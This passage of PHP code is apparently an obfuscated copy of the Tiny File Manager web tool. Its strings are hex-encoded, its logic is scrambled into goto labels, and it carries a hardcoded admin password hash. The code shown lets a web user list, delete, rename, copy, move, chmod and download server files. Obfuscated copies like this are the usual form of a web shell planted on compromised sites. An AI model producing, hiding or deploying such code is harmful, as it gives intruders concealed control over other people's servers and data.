<td class="custom-checkbox-td"><div class="custom-checkbox custom-control"><input name="file[]"type="checkbox"value="<?php  echo fm_enc($mmmmm); ?>
"id="<?php  echo $nnnnnnnn; ?>
"class="custom-control-input"> <label for="<?php  echo $nnnnnnnn; ?>
"class="custom-control-label"></label></div></td><?php  } ?>
<td data-sort="<?php  echo fm_enc($mmmmm); ?>
"><div class="filename"><?php  if (in_array(strtolower(pathinfo($mmmmm, PATHINFO_EXTENSION)), array("\147\151\x66", "\152\160\147", "\x6a\160\145\x67", "\x70\156\147", "\142\155\x70", "\151\143\157", "\163\x76\147", "\167\145\x62\160", "\141\x76\x69\x66"))) { $pppppppp = fm_enc(FM_ROOT_URL . (FM_PATH != '' ? "\57" . FM_PATH : '') . "\x2f" . $mmmmm); ?>
<a href="<?php  echo $oooooooo; ?>
"title="<?php  echo fm_enc($mmmmm); ?>
"data-preview-image="<?php  echo $pppppppp; ?>
"><?php  } else { ?>
<a href="<?php  echo $oooooooo; ?>
"title="<?php  echo $mmmmm; ?>
"><?php  } ?>
<i class="<?php  echo $gggggggg; ?>
"></i><?php  echo fm_convert_win(fm_enc($mmmmm)); ?>
</a><?php  echo $ffffffff ? "\x20\x26\x72\141\162\x72\73\x20\74\x69\76" . readlink($iii . "\x2f" . $mmmmm) . "\74\57\151\76" : ''; ?>
</div></td><td data-order="b-<?php  echo str_pad($ddddddd, 18, "\x30", STR_PAD_LEFT); ?>
"><span title="<?php  printf("\45\x73\40\x62\171\x74\x65\x73", $ddddddd); ?>
"><?php  echo $eeeeeee; ?>
</span></td><td data-order="b-<?php  echo $jjjjjjjj; ?>
"><?php  echo $iiiiiiii; ?>
</td><?php  if (!FM_IS_WIN && !$rr) { ?>
<td><?php  if (!FM_READONLY) { ?>
<a href="?p=<?php  echo urlencode(FM_PATH); ?>
&chmod=<?php  echo urlencode($mmmmm); ?>
"title="<?php  echo "\x43\x68\141\156\147\x65\40\x50\145\162\x6d\151\x73\163\x69\157\x6e\163"; ?>
"><?php  echo $kkkkkkkk; ?>
</a><?php  } else { echo $kkkkkkkk; } ?>
</td><td><?php  echo fm_enc($llllllll["\156\x61\155\145"] . "\x3a" . $mmmmmmmm["\156\x61\155\145"]); ?>
</td><?php  } ?>
<td class="inline-actions"><?php  if (!FM_READONLY) { ?>
<a href="?p=<?php  echo urlencode(FM_PATH); ?>
&del=<?php  echo urlencode($mmmmm); ?>
"title="<?php  echo lng("\x44\145\154\145\164\145"); ?>
"onclick='confirmDailog(event,1209,"<?php  echo lng("\104\145\154\145\164\x65") . "\40" . lng("\x46\x69\154\x65"); ?>
","<?php  echo urlencode($mmmmm); ?>
",this.href)'><i class="fa fa-trash-o"></i></a> <a href="#"title="<?php  echo lng("\122\145\156\141\155\145"); ?>
"onclick='return rename("<?php  echo fm_enc(addslashes(FM_PATH)); ?>
","<?php  echo fm_enc(addslashes($mmmmm)); ?>
"),!1'><i class="fa fa-pencil-square-o"></i></a> <a href="?p=<?php  echo urlencode(FM_PATH); ?>
&copy=<?php  echo urlencode(trim(FM_PATH . "\57" . $mmmmm, "\x2f")); ?>
"title="<?php  echo lng("\103\157\x70\171\124\x6f"); ?>
..."><i class="fa fa-files-o"></i></a><?php  } ?>
<a href="<?php  echo fm_enc(FM_ROOT_URL . (FM_PATH != '' ? "\x2f" . FM_PATH : '') . "\57" . $mmmmm); ?>
"title="<?php  echo lng("\104\151\162\145\x63\x74\x4c\151\x6e\153"); ?>
"target="_blank"><i class="fa fa-link"></i></a> <a href="?p=<?php  echo urlencode(FM_PATH); ?>
&dl=<?php  echo urlencode($mmmmm); ?>
"title="<?php  echo lng("\104\x6f\x77\156\154\157\x61\144"); ?>
"onclick='confirmDailog(event,1211,"<?php  echo lng("\x44\157\x77\x6e\154\x6f\141\x64"); ?>
","<?php  echo urlencode($mmmmm); ?>
",this.href)'><i class="fa fa-download"></i></a></td></tr><?php  flush(); $nnnnnnnn++; } goto G9XQO; El7zR: fm_show_footer(); goto iCskO; DERtn: echo fm_enc(FM_PATH); goto IBHil; oNXhl: if (isset($_SESSION[FM_SESSION_ID]["\x6c\x6f\147\147\x65\144"]) && !empty($j[$_SESSION[FM_SESSION_ID]["\154\x6f\x67\147\x65\x64"]])) { $zz = fm_clean_path(dirname($_SERVER["\120\x48\120\137\123\x45\114\x46"])); $s = $s . $zz . DIRECTORY_SEPARATOR . $j[$_SESSION[FM_SESSION_ID]["\154\157\147\147\145\x64"]]; } goto BgoCG; NJEb4: if (isset($_POST["\x66\x69\x6c\x65"], $_POST["\143\157\160\x79\x5f\164\157"], $_POST["\146\151\x6e\151\x73\150"], $_POST["\164\x6f\153\x65\156"]) && !FM_READONLY) { if (!verifyToken($_POST["\x74\157\x6b\145\156"])) { fm_set_msg(lng("\111\x6e\x76\141\x6c\151\x64\40\124\x6f\x6b\145\156\x2e"), "\x65\162\x72\x6f\x72"); } $iii = FM_ROOT_PATH; if (FM_PATH != '') { $iii .= "\x2f" . FM_PATH; } $iiiii = FM_ROOT_PATH; $jjjjj = fm_clean_path($_POST["\x63\157\x70\x79\x5f\x74\157"]); if ($jjjjj != '') { $iiiii .= "\x2f" . $jjjjj; } if ($iii == $iiiii) { fm_set_msg(lng("\120\x61\164\x68\163\x20\x6d\165\163\164\x20\142\145\40\156\x6f\164\40\145\161\165\x61\x6c"), "\141\x6c\145\162\164"); $jjj = FM_PATH; fm_redirect(FM_SELF_URL . "\77\x70\x3d" . urlencode($jjj)); } if (!is_dir($iiiii)) { if (!fm_mkdir($iiiii, true)) { fm_set_msg("\x55\156\141\x62\x6c\x65\x20\x74\x6f\40\143\x72\145\x61\164\145\40\144\145\x73\x74\151\156\x61\164\x69\157\156\x20\146\157\x6c\144\145\162", "\x65\162\x72\x6f\162"); $jjj = FM_PATH; fm_redirect(FM_SELF_URL . "\77\x70\x3d" . urlencode($jjj)); } } $aaaaa = isset($_POST["\155\x6f\166\x65"]); $kkkkk = 0; $lllll = $_POST["\x66\151\x6c\x65"]; if (is_array($lllll) && count($lllll)) { foreach ($lllll as $mmmmm) { if ($mmmmm != '') { $mmmmm = fm_clean_path($mmmmm); $yyyy = $iii . "\x2f" . $mmmmm; $zzzz = $iiiii . "\57" . $mmmmm; if ($aaaaa) { $ccccc = fm_rename($yyyy, $zzzz); if ($ccccc === false) { $kkkkk++; } } else { if (!fm_rcopy($yyyy, $zzzz)) { $kkkkk++; } } } } if ($kkkkk == 0) { $vv = $aaaaa ? "\x53\x65\x6c\145\x63\x74\145\x64\x20\146\x69\154\x65\163\40\x61\156\x64\40\x66\157\x6c\x64\145\x72\x73\x20\x6d\157\x76\x65\x64" : "\x53\x65\x6c\x65\x63\164\145\x64\40\x66\151\154\x65\163\x20\x61\156\144\40\x66\157\154\x64\x65\162\163\40\x63\x6f\x70\x69\145\x64"; fm_set_msg($vv); } else { $vv = $aaaaa ? "\105\162\x72\157\162\x20\x77\x68\x69\154\145\x20\x6d\x6f\x76\151\156\x67\40\x69\x74\145\155\x73" : "\x45\162\162\157\x72\x20\x77\150\151\154\x65\40\x63\157\x70\171\151\x6e\147\x20\x69\164\145\155\163"; fm_set_msg($vv, "\145\x72\x72\x6f\162"); } } else { fm_set_msg(lng("\116\x6f\164\x68\x69\x6e\x67\40\x73\145\x6c\145\143\164\145\144"), "\141\154\x65\162\164"); } $jjj = FM_PATH; fm_redirect(FM_SELF_URL . "\x3f\x70\x3d" . urlencode($jjj)); } goto Vpyvh; La6PN: if (empty($d)) { $c = false; } goto Jn7TB; N_Vj9: defined("\x46\115\137\x46\111\x4c\x45\137\x45\x58\124\x45\116\x53\111\x4f\x4e") || define("\106\115\x5f\x46\111\x4c\105\x5f\x45\x58\x54\x45\116\123\111\x4f\x4e", $y); goto yniu3; NtkMf: if (!empty($ssssss)) { natcasesort($ssssss); } goto Uq6D2; kd7LV: function fm_clean_path($iii, $ggggggggg = true) { $iii = $ggggggggg ? trim($iii) : $iii; $iii = trim($iii, "\x5c\x2f"); $iii = str_replace(array("\x2e\56\x2f", "\x2e\56\134"), '', $iii); $iii = get_absolute_path($iii); if ($iii == "\56\x2e") { $iii = ''; } return str_replace("\x5c", "\57", $iii); } goto GCK3B; derXu: function scan($ggg = '', $kkkkkkkkkk = '') { $iii = FM_ROOT_PATH . "\x2f" . $ggg; if ($iii) { $llllllllll = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($iii)); $mmmmmmmmmm = new RegexIterator($llllllllll, "\x2f\50" . $kkkkkkkkkk . "\51\x2f\x69"); $lllll = array(); foreach ($mmmmmmmmmm as $ww) { if (!$ww->isDir()) { $ooo = $ww->getFilename(); $nnnnnnnnnn = str_replace(FM_ROOT_PATH, '', $ww->getPath()); $lllll[] = array("\156\x61\x6d\145" => $ooo, "\164\171\x70\x65" => "\146\151\x6c\145", "\160\141\x74\x68" => $nnnnnnnnnn); } } return $lllll; } } goto Y8p1N; ob77A: $d = array("\x61\144\x6d\151\x6e" => "\44\x32\171\x24\x31\60\44\x48\116\x53\172\x49\120\x36\x6c\x66\x58\165\x74\120\x7a\x56\x2f\x59\x6b\114\x49\157\x4f\113\x6b\64\131\163\x73\x71\161\105\x63\x68\162\x73\x4c\110\x4a\130\121\x4d\x71\x56\67\x70\146\x35\161\115\150\x45\167\113"); goto GLSgT; Dsrsg: $kk = array("\x30\56\60\x2e\60\x2e\60", "\72\x3a"); goto ScVcK; WJnXN: $q = "\x45\164\143\57\x55\x54\103"; goto SuCA2; SrLk7: define("\x4d\x41\x58\137\125\120\x4c\117\x41\104\x5f\x53\x49\x5a\105", $ee); goto advFQ; MGso0: $bbbbbbbb = count($ssssss); goto ZniF3; Lk0k7: foreach ($ssssss as $mmmmm) { $ffffffff = is_link($iii . "\57" . $mmmmm); $gggggggg = $ffffffff ? "\x69\x63\x6f\156\x2d\x6c\151\x6e\153\x5f\146\157\154\x64\x65\162" : "\146\141\x20\146\x61\x2d\x66\x6f\x6c\144\x65\x72\55\x6f"; $hhhhhhhh = filemtime($iii . "\x2f" . $mmmmm); $iiiiiiii = date(FM_DATETIME_FORMAT, $hhhhhhhh); $jjjjjjjj = strtotime(date("\x46\x20\x64\x20\131\x20\x48\x3a\151\72\x73\x2e", $hhhhhhhh)); $ddddddd = ''; $eeeeeee = lng("\x46\x6f\154\x64\x65\162"); $kkkkkkkk = substr(decoct(fileperms($iii . "\57" . $mmmmm)), -4); if (function_exists("\160\x6f\x73\x69\170\137\x67\145\x74\160\x77\165\x69\144") && function_exists("\x70\x6f\163\151\x78\137\147\145\x74\147\162\x67\151\144")) { $llllllll = posix_getpwuid(fileowner($iii . "\x2f" . $mmmmm)); $mmmmmmmm = posix_getgrgid(filegroup($iii . "\57" . $mmmmm)); } else { $llllllll = array("\156\141\155\x65" => "\77"); $mmmmmmmm = array("\x6e\141\155\x65" => "\77"); } ?>
<tr><?php  if (!FM_READONLY) { ?>
<td class="custom-checkbox-td"><div class="custom-checkbox custom-control"><input name="file[]"type="checkbox"value="<?php  echo fm_enc($mmmmm); ?>
"id="<?php  echo $eeeeeeee; ?>
"class="custom-control-input"> <label for="<?php  echo $eeeeeeee; ?>
"class="custom-control-label"></label></div></td><?php  } ?>
<td data-sort="<?php  echo fm_convert_win(fm_enc($mmmmm)); ?>
"><div class="filename"><a href="?p=<?php  echo urlencode(trim(FM_PATH . "\57" . $mmmmm, "\x2f")); ?>
"><i class="<?php  echo $gggggggg; ?>
"></i><?php  echo fm_convert_win(fm_enc($mmmmm)); ?>
</a><?php  echo $ffffffff ? "\x20\x26\x72\x61\162\x72\73\40\74\x69\x3e" . readlink($iii . "\x2f" . $mmmmm) . "\x3c\x2f\x69\x3e" : ''; ?>
</div></td><td data-order="a-<?php  echo str_pad($ddddddd, 18, "\x30", STR_PAD_LEFT); ?>
"><?php  echo $eeeeeee; ?>
</td><td data-order="a-<?php  echo $jjjjjjjj; ?>
"><?php  echo $iiiiiiii; ?>
</td><?php  if (!FM_IS_WIN && !$rr) { ?>
<td><?php  if (!FM_READONLY) { ?>
<a href="?p=<?php  echo urlencode(FM_PATH); ?>
&chmod=<?php  echo urlencode($mmmmm); ?>
"title="Change Permissions"><?php  echo $kkkkkkkk; ?>
</a><?php  } else { echo $kkkkkkkk; } ?>
</td><td><?php  echo $llllllll["\156\x61\155\145"] . "\72" . $mmmmmmmm["\156\141\x6d\145"]; ?>
</td><?php  } ?>
<td class="inline-actions"><?php  if (!FM_READONLY) { ?>
<a href="?p=<?php  echo urlencode(FM_PATH); ?>
&del=<?php  echo urlencode($mmmmm); ?>
"title="<?php  echo lng("\x44\145\154\x65\164\x65"); ?>
"onclick='confirmDailog(event,"1028","<?php  echo lng("\x44\x65\154\145\x74\145") . "\x20" . lng("\106\157\154\144\x65\x72"); ?>
","<?php  echo urlencode($mmmmm); ?>
",this.href)'><i class="fa fa-trash-o"aria-hidden="true"></i></a> <a href="#"title="<?php  echo lng("\122\145\x6e\141\155\145"); ?>
"onclick='return rename("<?php  echo fm_enc(addslashes(FM_PATH)); ?>
","<?php  echo fm_enc(addslashes($mmmmm)); ?>
"),!1'><i class="fa fa-pencil-square-o"aria-hidden="true"></i></a> <a href="?p=&copy=<?php  echo urlencode(trim(FM_PATH . "\x2f" . $mmmmm, "\x2f")); ?>
"title="<?php  echo lng("\103\x6f\x70\171\124\x6f"); ?>
..."><i class="fa fa-files-o"aria-hidden="true"></i></a><?php  } ?>
<a href="<?php  echo fm_enc(FM_ROOT_URL . (FM_PATH != '' ? "\57" . FM_PATH : '') . "\x2f" . $mmmmm . "\57"); ?>
"title="<?php  echo lng("\104\x69\162\x65\143\164\x4c\151\x6e\x6b"); ?>
"target="_blank"><i class="fa fa-link"aria-hidden="true"></i></a></td></tr><?php  flush(); $eeeeeeee++; } goto kpKHI; Zlyyq: $eee = isset($_GET["\x70"]) ? $_GET["\x70"] : (isset($_POST["\x70"]) ? $_POST["\160"] : ''); goto jjYtR; imGSb: define("\106\x4d\137\x55\123\105\137\x41\x55\x54\x48", $c); goto tidrV; TKcmv: ?>
</th><th><?php  goto e5Gd4; SWla_: if ($qq == true) { @ini_set("\145\x72\162\x6f\162\x5f\x72\145\160\157\x72\164\151\156\147", E_ALL); @ini_set("\x64\x69\x73\160\x6c\141\171\x5f\145\162\162\157\162\x73", 1); } else { @ini_set("\145\162\x72\x6f\162\x5f\162\x65\x70\x6f\162\x74\151\x6e\x67", E_ALL); @ini_set("\x64\x69\163\x70\x6c\x61\x79\137\x65\x72\162\x6f\162\163", 0); } goto cM_sN; atWEc: $y = ''; goto Zn7Sx; I3AZd: fm_show_nav_path(FM_PATH); goto wlnA9; kk_kT: $oo = isset($nn->data["\x6c\141\156\147"]) ? $nn->data["\x6c\141\x6e\x67"] : "\x65\156"; goto pZ0zR; B8fFS: defined("\x46\115\137\x52\x4f\x4f\124\137\120\101\x54\110") || define("\x46\x4d\137\122\x4f\x4f\124\x5f\120\x41\124\x48", $r); goto OU9nx; eYkpv: function fm_get_audio_exts() { return array("\x77\141\x76", "\x6d\160\63", "\157\x67\x67", "\155\64\141"); } goto I8IfO; gTcx5: $u = "\125\124\x46\55\70"; goto FeUD9; q9SX4: if (!FM_IS_WIN && !$rr) { ?>
<th><?php  echo lng("\120\x65\162\x6d\163"); ?>
</th><th><?php  echo lng("\117\x77\x6e\x65\x72"); ?>
</th><?php  } goto DnZZE; N60RJ: $rrrrrr = is_readable($iii) ? scandir($iii) : array(); goto ume95; LKB5D: if (isset($_GET["\143\157\160\x79"], $_GET["\x66\151\156\x69\163\150"]) && !FM_READONLY) { $xxxx = urldecode($_GET["\143\x6f\160\x79"]); $xxxx = fm_clean_path($xxxx); if ($xxxx == '') { fm_set_msg(lng("\x53\x6f\x75\162\x63\145\40\160\141\164\x68\40\x6e\x6f\x74\x20\144\x65\x66\151\x6e\x65\x64"), "\x65\162\162\x6f\162"); $jjj = FM_PATH; fm_redirect(FM_SELF_URL . "\77\x70\75" . urlencode($jjj)); } $yyyy = FM_ROOT_PATH . "\x2f" . $xxxx; $zzzz = FM_ROOT_PATH; if (FM_PATH != '') { $zzzz .= "\x2f" . FM_PATH; } $zzzz .= "\57" . basename($yyyy); $aaaaa = isset($_GET["\x6d\157\x76\145"]); $aaaaa = fm_clean_path(urldecode($aaaaa)); if ($yyyy != $zzzz) { $bbbbb = trim(FM_PATH . "\x2f" . basename($yyyy), "\57"); if ($aaaaa) { $ccccc = fm_rename($yyyy, $zzzz); if ($ccccc) { fm_set_msg(sprintf(lng("\x4d\157\x76\145\x64\40\x66\x72\157\x6d") . "\40\x3c\x62\x3e\x25\x73\74\x2f\x62\76\40" . lng("\x74\x6f") . "\x20\x3c\142\x3e\x25\x73\x3c\x2f\142\x3e", fm_enc($xxxx), fm_enc($bbbbb))); } elseif ($ccccc === null) { fm_set_msg(lng("\106\x69\x6c\145\40\157\x72\x20\146\157\154\x64\145\x72\40\x77\151\164\x68\40\x74\x68\x69\x73\x20\x70\x61\164\150\40\x61\x6c\162\145\x61\x64\171\x20\x65\x78\x69\163\164\x73"), "\x61\x6c\x65\x72\x74"); } else { fm_set_msg(sprintf(lng("\x45\x72\x72\x6f\x72\x20\167\150\x69\x6c\145\40\155\x6f\166\151\x6e\147\40\146\162\157\x6d") . "\x20\74\x62\76\x25\x73\x3c\x2f\142\x3e\40" . lng("\x74\157") . "\x20\74\x62\76\x25\163\74\x2f\142\x3e", fm_enc($xxxx), fm_enc($bbbbb)), "\x65\x72\162\x6f\162"); } } else { if (fm_rcopy($yyyy, $zzzz)) { fm_set_msg(sprintf(lng("\x43\157\x70\151\145\144\40\146\x72\x6f\x6d") . "\x20\74\x62\76\45\163\74\57\142\76\40" . lng("\164\157") . "\x20\x3c\142\76\x25\x73\x3c\57\x62\x3e", fm_enc($xxxx), fm_enc($bbbbb))); } else { fm_set_msg(sprintf(lng("\105\162\162\x6f\162\x20\167\x68\x69\154\x65\40\143\x6f\160\171\x69\156\x67\40\146\x72\157\x6d") . "\40\74\x62\76\45\163\x3c\57\x62\76\x20" . lng("\x74\157") . "\40\x3c\142\x3e\45\163\74\x2f\142\x3e", fm_enc($xxxx), fm_enc($bbbbb)), "\145\162\x72\157\x72"); } } } else { if (!$aaaaa) { $bbbbb = trim(FM_PATH . "\57" . basename($yyyy), "\x2f"); $ddddd = pathinfo($yyyy); $eeeee = ''; if (!is_dir($yyyy)) { $eeeee = "\56" . $ddddd["\x65\x78\164\x65\x6e\x73\x69\157\x6e"]; } $fffff = $ddddd["\x64\x69\x72\x6e\141\x6d\x65"] . "\x2f" . $ddddd["\146\151\x6c\x65\x6e\x61\155\145"] . "\55" . date("\131\x6d\144\110\151\x73") . $eeeee; $ggggg = 0; $hhhhh = 1000; while (file_exists($fffff) & $ggggg < $hhhhh) { $ddddd = pathinfo($fffff); $fffff = $ddddd["\144\151\162\x6e\x61\155\x65"] . "\57" . $ddddd["\x66\151\154\145\156\141\x6d\x65"] . "\55\143\157\160\171" . $eeeee; $ggggg++; } if (fm_rcopy($yyyy, $fffff, False)) { fm_set_msg(sprintf("\103\x6f\x70\x79\151\145\144\x20\146\x72\157\155\x20\x3c\x62\76\45\x73\x3c\57\x62\x3e\40\x74\157\40\x3c\x62\x3e\x25\163\74\57\x62\x3e", fm_enc($xxxx), fm_enc($fffff))); } else { fm_set_msg(sprintf("\x45\162\x72\157\162\x20\x77\150\151\154\145\40\x63\157\160\x79\x69\x6e\147\x20\x66\x72\157\x6d\x20\74\x62\76\x25\x73\74\x2f\x62\76\x20\164\157\40\74\x62\76\x25\x73\74\x2f\142\x3e", fm_enc($xxxx), fm_enc($fffff)), "\145\x72\162\157\x72"); } } else { fm_set_msg(lng("\x50\141\x74\x68\163\x20\x6d\165\x73\x74\40\x62\x65\40\x6e\x6f\164\40\145\161\165\x61\154"), "\x61\154\145\x72\164"); } } $jjj = FM_PATH; fm_redirect(FM_SELF_URL . "\x3f\160\75" . urlencode($jjj)); } goto NJEb4; mTwA9: $qq = isset($nn->data["\x65\x72\162\x6f\x72\137\x72\x65\160\157\x72\x74\151\156\147"]) ? $nn->data["\x65\162\162\157\162\137\162\145\160\x6f\162\x74\x69\x6e\x67"] : true; goto dZQnu; vI44Q: $b = "\x7b\x22\154\x61\x6e\x67\x22\x3a\x22\145\156\42\x2c\x22\145\162\x72\157\162\137\162\145\x70\x6f\162\x74\151\156\147\x22\x3a\146\141\154\163\145\54\x22\x73\x68\157\167\x5f\x68\x69\x64\144\145\156\x22\x3a\146\x61\x6c\x73\x65\x2c\42\150\151\x64\145\x5f\103\157\x6c\163\42\72\146\141\x6c\163\145\x2c\42\x74\x68\145\x6d\145\42\72\42\x6c\x69\x67\x68\x74\42\x7d"; goto U1o6P; CERhp: function fm_is_valid_ext($vvvvv) { $llll = FM_FILE_EXTENSION ? explode("\54", FM_FILE_EXTENSION) : false; $mmmm = pathinfo($vvvvv, PATHINFO_EXTENSION); $nnnn = $llll ? in_array($mmmm, $llll) : true; return $nnnn ? true : false; } goto kvw18; lk_t5: ?>
"id="main-table"><thead class="thead-white"><tr><?php  goto kylaD; y2vr5: if (isset($_GET["\x6c\157\x67\x6f\165\x74"])) { unset($_SESSION[FM_SESSION_ID]["\x6c\157\147\x67\x65\x64"]); unset($_SESSION["\164\157\153\x65\156"]); fm_redirect(FM_SELF_URL); } goto AstUl; qTJ2q: function fm_convert_win($vvvvv) { if (FM_IS_WIN && function_exists("\x69\x63\x6f\x6e\x76")) { $vvvvv = iconv(FM_ICONV_INPUT_ENC, "\x55\x54\x46\55\x38\x2f\57\x49\x47\x4e\117\122\105", $vvvvv); } return $vvvvv; } goto jzZpf; hAYNN: function fm_show_header() { $qqqqqqqqqqq = "\x32\60\61\x36\60\x33\61\65"; header("\x43\157\156\x74\x65\156\x74\x2d\x54\x79\x70\145\x3a\40\164\x65\x78\164\57\150\164\155\154\x3b\40\143\x68\141\162\x73\145\x74\75\x75\164\146\x2d\70"); header("\x45\170\x70\x69\x72\145\x73\72\x20\123\141\x74\x2c\40\62\66\40\x4a\165\154\40\x31\x39\x39\x37\x20\x30\x35\72\60\60\x3a\60\60\40\x47\x4d\124"); header("\103\x61\143\x68\x65\55\103\x6f\x6e\164\162\x6f\154\x3a\x20\156\157\x2d\163\x74\157\162\145\54\40\x6e\x6f\x2d\143\141\143\150\145\54\40\x6d\x75\163\164\x2d\x72\x65\x76\x61\x6c\151\x64\x61\164\x65\54\40\x70\157\163\x74\55\x63\150\x65\x63\x6b\75\x30\54\x20\x70\x72\x65\55\x63\150\x65\x63\x6b\75\x30"); header("\x50\x72\141\147\x6d\141\72\40\x6e\x6f\55\143\x61\143\150\x65"); global $oo, $s, $dd, $aa; $hhhhhhhhhhh = $dd ? "\x6e\141\x76\x62\141\x72\55\x66\x69\170\145\144" : "\156\x61\166\142\141\162\55\156\x6f\x72\x6d\141\x6c"; ?>
<!doctypehtml><html><head><meta charset="utf-8"><meta content="width=device-width,initial-scale=1,shrink-to-fit=no"name="viewport"><meta content="Web based File Manager in PHP, Manage your files efficiently and easily with Tiny File Manager"name="description"><meta content="CCP Programmers"name="author"><meta content="noindex, nofollow"name="robots"><meta content="noindex"name="googlebot"><?php  if ($aa) { echo "\x3c\154\151\x6e\153\x20\162\145\x6c\75\42\151\x63\x6f\x6e\42\40\150\162\145\146\x3d\42" . fm_enc($aa) . "\x22\x20\164\171\160\145\x3d\42\151\x6d\141\147\x65\x2f\x70\156\x67\42\x3e"; } ?>
<title><?php  echo fm_enc(APP_TITLE); ?>
</title><?php  print_external("\x70\162\145\55\152\163\144\x65\154\151\x76\x72"); print_external("\x70\x72\145\55\143\154\x6f\165\x64\146\154\141\x72\x65"); print_external("\x63\163\x73\55\x62\x6f\x6f\164\163\164\x72\x61\160"); print_external("\143\163\x73\x2d\x66\x6f\156\x74\x2d\x61\x77\145\x73\157\155\145"); if (FM_USE_HIGHLIGHTJS && isset($_GET["\x76\151\x65\167"])) { print_external("\x63\163\163\x2d\x68\151\147\150\x6c\x69\147\x68\164\x6a\x73"); } ?>
<script type="text/javascript">window.csrf="<?php  echo $_SESSION["\164\157\153\145\x6e"]; ?>
"</script><style>html{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;text-rendering:optimizeLegibility;height:100%;scroll-behavior:smooth}*,::after,::before{box-sizing:border-box}body{font-size:15px;color:#222;background:#f7f7f7}body.navbar-fixed{margin-top:55px}a,a:focus,a:hover,a:visited{text-decoration:none!important}.filename,td,th{white-space:nowrap}.navbar-brand{font-weight:700}.nav-item.avatar a{cursor:pointer;text-transform:capitalize}.nav-item.avatar a>i{font-size:15px}.nav-item.avatar .dropdown-menu a{font-size:13px}#search-addon{font-size:12px;border-right-width:0}.brl-0{background:0 0;border-left:0;border-top-left-radius:0;border-bottom-left-radius:0}.brr-0{border-top-right-radius:0;border-bottom-right-radius:0}.bread-crumb{color:#ccc;font-style:normal}#main-table{transition:transform .25s cubic-bezier(.4,.5,0,1),width 0s .25s}#main-table .filename a{color:#222}.table td,.table th{vertical-align:middle!important}.table .custom-checkbox-header .custom-control.custom-checkbox,.table .custom-checkbox-td .custom-control.custom-checkbox{min-width:18px;display:flex;align-items:center;justify-content:center}.table-sm td,.table-sm th{padding:.4rem}.table-bordered td,.table-bordered th{border:1px solid #f1f1f1}.hidden{display:none}pre.with-hljs{padding:0;overflow:hidden}pre.with-hljs code{margin:0;border:0;overflow:scroll}code.maxheight,pre.maxheight{max-height:512px}.fa.fa-caret-right{font-size:1.2em;margin:0 4px;vertical-align:middle;color:#ececec}.fa.fa-home{font-size:1.3em;vertical-align:bottom}.path{margin-bottom:10px}form.dropzone{min-height:200px;border:2px dashed #007bff;line-height:6rem}.right{text-align:right}.center,.close,.login-form,.preview-img-container{text-align:center}.message{padding:4px 7px;border:1px solid #ddd;background-color:#fff}.message.ok{border-color:green;color:green}.message.error{border-color:red;color:red}.message.alert{border-color:orange;color:orange}.preview-img{max-width:100%;max-height:80vh;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAAKklEQVR42mL5//8/Azbw+PFjrOJMDCSCUQ3EABZc4S0rKzsaSvTTABBgAMyfCMsY4B9iAAAAAElFTkSuQmCC)}.inline-actions>a>i{font-size:1em;margin-left:5px;background:#3785c1;color:#fff;padding:3px 4px;border-radius:3px}.preview-video{position:relative;max-width:100%;height:0;padding-bottom:62.5%;margin-bottom:10px}.preview-video video{position:absolute;width:100%;height:100%;left:0;top:0;background:#000}.compact-table{border:0;width:auto}.compact-table td,.compact-table th{width:100px;border:0;text-align:center}.compact-table tr:hover td{background-color:#fff}.filename{max-width:420px;overflow:hidden;text-overflow:ellipsis}.break-word{word-wrap:break-word;margin-left:30px}.break-word.float-left a{color:#7d7d7d}.break-word+.float-right{padding-right:30px;position:relative}.break-word+.float-right>a{color:#7d7d7d;font-size:1.2em;margin-right:4px}#editor{position:absolute;right:15px;top:100px;bottom:15px;left:15px}@media (max-width:481px){#editor{top:150px}}#normal-editor{border-radius:3px;border-width:2px;padding:10px;outline:0}.btn-2{padding:4px 10px;font-size:small}li.file:before,li.folder:before{font:normal normal normal 14px/1 FontAwesome;content:"\f016";margin-right:5px}li.folder:before{content:"\f114"}i.fa.fa-folder-o{color:#0157b3}i.fa.fa-picture-o{color:#26b99a}i.fa.fa-file-archive-o{color:#da7d7d}.btn-2 i.fa.fa-file-archive-o{color:inherit}i.fa.fa-css3{color:#f36fa0}i.fa.fa-file-code-o{color:#007bff}i.fa.fa-code{color:#cc4b4c}i.fa.fa-file-text-o{color:#0096e6}i.fa.fa-html5{color:#d75e72}i.fa.fa-file-excel-o{color:#09c55d}i.fa.fa-file-powerpoint-o{color:#f6712e}i.go-back{font-size:1.2em;color:#007bff}.main-nav{padding:.2rem 1rem;box-shadow:0 4px 5px 0 rgba(0,0,0,.14),0 1px 10px 0 rgba(0,0,0,.12),0 2px 4px -1px rgba(0,0,0,.2)}.dataTables_filter{display:none}table.dataTable thead .sorting{cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAQAAADYWf5HAAAAkElEQVQoz7XQMQ5AQBCF4dWQSJxC5wwax1Cq1e7BAdxD5SL+Tq/QCM1oNiJidwox0355mXnG/DrEtIQ6azioNZQxI0ykPhTQIwhCR+BmBYtlK7kLJYwWCcJA9M4qdrZrd8pPjZWPtOqdRQy320YSV17OatFC4euts6z39GYMKRPCTKY9UnPQ6P+GtMRfGtPnBCiqhAeJPmkqAAAAAElFTkSuQmCC)}table.dataTable thead .sorting_asc{cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZ0lEQVQ4y2NgGLKgquEuFxBPAGI2ahhWCsS/gDibUoO0gPgxEP8H4ttArEyuQYxAPBdqEAxPBImTY5gjEL9DM+wTENuQahAvEO9DMwiGdwAxOymGJQLxTyD+jgWDxCMZRsEoGAVoAADeemwtPcZI2wAAAABJRU5ErkJggg==)}table.dataTable thead .sorting_desc{cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZUlEQVQ4y2NgGAWjYBSggaqGu5FA/BOIv2PBIPFEUgxjB+IdQPwfC94HxLykus4GiD+hGfQOiB3J8SojEE9EM2wuSJzcsFMG4ttQgx4DsRalkZENxL+AuJQaMcsGxBOAmGvopk8AVz1sLZgg0bsAAAAASUVORK5CYII=)}table.dataTable thead tr:first-child th.custom-checkbox-header:first-child{background-image:none}.footer-action 